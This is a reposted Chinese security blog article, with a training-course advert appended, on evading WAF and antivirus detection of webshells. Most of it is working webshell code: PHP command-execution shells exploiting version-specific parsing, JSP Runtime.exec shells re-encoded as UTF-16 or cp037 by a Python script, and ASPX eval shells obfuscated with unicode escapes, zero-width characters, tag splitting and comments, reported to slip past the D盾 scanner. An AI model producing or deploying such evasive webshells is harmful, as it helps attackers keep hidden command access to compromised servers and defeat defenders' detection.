【干货】细数实战成功过的webshell的免杀方式

admin 2022年3月7日20:47:03评论95 views字数 3176阅读10分35秒阅读模式

【干货】细数实战成功过的webshell的免杀方式

网安教育

培养网络安全人才

技术交流、学习咨询




php的免杀

传统的php免杀不用多说了 无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。


1、利用在高版本php语法不换行来执行命令


1<?=
2$a=<<< aa
3assasssasssasssasssasssasssasssasssasssasssassss
4aa;echo `whoami`
5?>


5.2版本报错,

【干货】细数实战成功过的webshell的免杀方式


5.3报错

【干货】细数实战成功过的webshell的免杀方式


5.4版本报错

【干货】细数实战成功过的webshell的免杀方式


7.3.4成功执行命令

【干货】细数实战成功过的webshell的免杀方式



2、利用特殊符号来引起报错


1<?php
2echo `whoami`;?>


5.3执行命令失败

【干货】细数实战成功过的webshell的免杀方式


7.3执行命令失败

【干货】细数实战成功过的webshell的免杀方式


5.2成功执行

【干货】细数实战成功过的webshell的免杀方式


3、十六进制字符串


在php7中不认为是数字,php5则依旧为数字

经过测试 5.3 和5.5可以成功执行命令,5.2和php7无法执行

1<?php
2$s=substr("aabbccsystem","0x6");
3$s(whoami)
4?>


7.3 命令执行失败

【干货】细数实战成功过的webshell的免杀方式


5.2 命令执行失败

【干货】细数实战成功过的webshell的免杀方式


5.3 命令执行成功

【干货】细数实战成功过的webshell的免杀方式


除此之外,还有很多种利用版本差异性来bypass一些没有对所有版本进行检测更新的所谓的"先进waf"。

当然,对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样。


例如:

7.0版本的特性,如果版本为5.x的话就会报错,可以结合一些其他的方式吧

1<?php
2$a = $_GET['function'] ?? 'whoami';
3$b = $_GET['cmd'] ?? 'whoami';
4$a(null.(null.$b));
5



jsp免杀


本人对java研究的不是非常深入,因此主要分享的还是平时收集的几个小tips,如果有没看过的师傅现在看到了也是极好的,java unicode绕过就不再多言。


0、小小Tips


jsp的后缀可以兼容为jspx的代码,也兼容jspx的所有特性,如CDATA特性。

jspx的后缀不兼容为jsp的代码,jspx只能用jspx的格式


1、jspx CDATA特性


在XML元素里,<和&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始。但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符,因此可以将脚本代码定义为CDATA。

CDATA部分内容会被解析器忽略。

格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]>

例如

String cmd = request.getPar<![CDATA[ameter]]>("shell");

此时ameter依旧会与getPar拼接成为getParameter


2、实体化编码


1if (cmd !=null){
2    Process child = Runtime.getRuntime().exec(cmd);
3    InputStream in = child.getInputStream();


3、利用java支持其他编码格式来进行绕过


 1#python2
2charset = "utf-8"
3data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
4
5f16be = open('utf-16be.jsp','wb')
6f16be.write('<%@ page contentType="charset=utf-16be" %>')
7f16be.write(data.encode('utf-16be'))
8
9
10f16le = open('utf-16le.jsp','wb')
11f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')
12f16le.write(data.encode('utf-16le'))
13
14fcp037 = open('cp037.jsp','wb')
15fcp037.write(data.encode('cp037'))
16fcp037.write('<%@ page contentType="charset=cp037"/>')


【干货】细数实战成功过的webshell的免杀方式

可以看到对于D盾的免杀效果还是非常好的。

【干货】细数实战成功过的webshell的免杀方式




aspx的免杀


aspx免杀的方式相对于PHP和java的较少,这里列出5种方式来bypass进行免杀

1、unicode编码

2、空字符串连接

3、<%%>截断

3、头部替换

5、特殊符号@

6、注释


我们以一个普通的冰蝎马作为示例

1<%@ Page Language="Jscript"%>eval(@Request.Item["pass"],"unsafe");%


这一步无需多言,一定是会被D盾所查杀的

【干货】细数实战成功过的webshell的免杀方式

1、unicode编码


例如eval他可以变为

u0065u0076u0061u006c

经过我本地的测试,它不支持大U和多个0的增加

1<%@ Page Language="Jscript"%><%u0065u0076u0061u006c(@Request.Item["pass"],"unsafe");%>


2、空字符串连接


在函数字符串中插入这些字符都不会影响脚本的正常运行,在测试前需要注意该类字符插入的位置,否则插入错误的地方会产生报错

1u200c
2u200d
3u200e
4u200f


3、使用<%%>语法


将整个字符串与函数利用<%%>进行分割

1<%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>


4、头部免杀


之前有遇到过检测该字段的<%@ Page Language="C#" %>,这个是标识ASPX的一个字段,

针对该字段进行免杀%@Language=CSHARP% 很久之前修改为这样就过了

同样的,可以修改为

1<%@ Page Language="Jscript"%>------》<%@Page Language=JS%>

也可以将该字段放在后面,不一定要放前面等


5、使用符号


如哥斯拉webshell存在特征代码,可以添加@符号但是不会影响其解析。

1(Context.Session["payload"] == null)
2(@Context.@Session["payload"] == null)


【干货】细数实战成功过的webshell的免杀方式

【干货】细数实战成功过的webshell的免杀方式


6、注释可以随意插入


如下所示为冰蝎部分代码

1<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)


可以与<%%>结合使用效果会更好

【干货】细数实战成功过的webshell的免杀方式

来源:lcepaper

原文链接:https://xz.aliyun.com/t/10937

版权声明:著作权归作者所有。如有侵权请联系删除


开源聚合网安训练营

战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!

【干货】细数实战成功过的webshell的免杀方式

加QQ(1005989737)找小姐姐私聊哦



精选文章


环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

【干货】细数实战成功过的webshell的免杀方式


我就知道你“在看”
【干货】细数实战成功过的webshell的免杀方式

原文始发于微信公众号(开源聚合网络空间安全研究院):【干货】细数实战成功过的webshell的免杀方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月7日20:47:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【干货】细数实战成功过的webshell的免杀方式https://cn-sec.com/archives/820266.html

发表评论

匿名网友 填写信息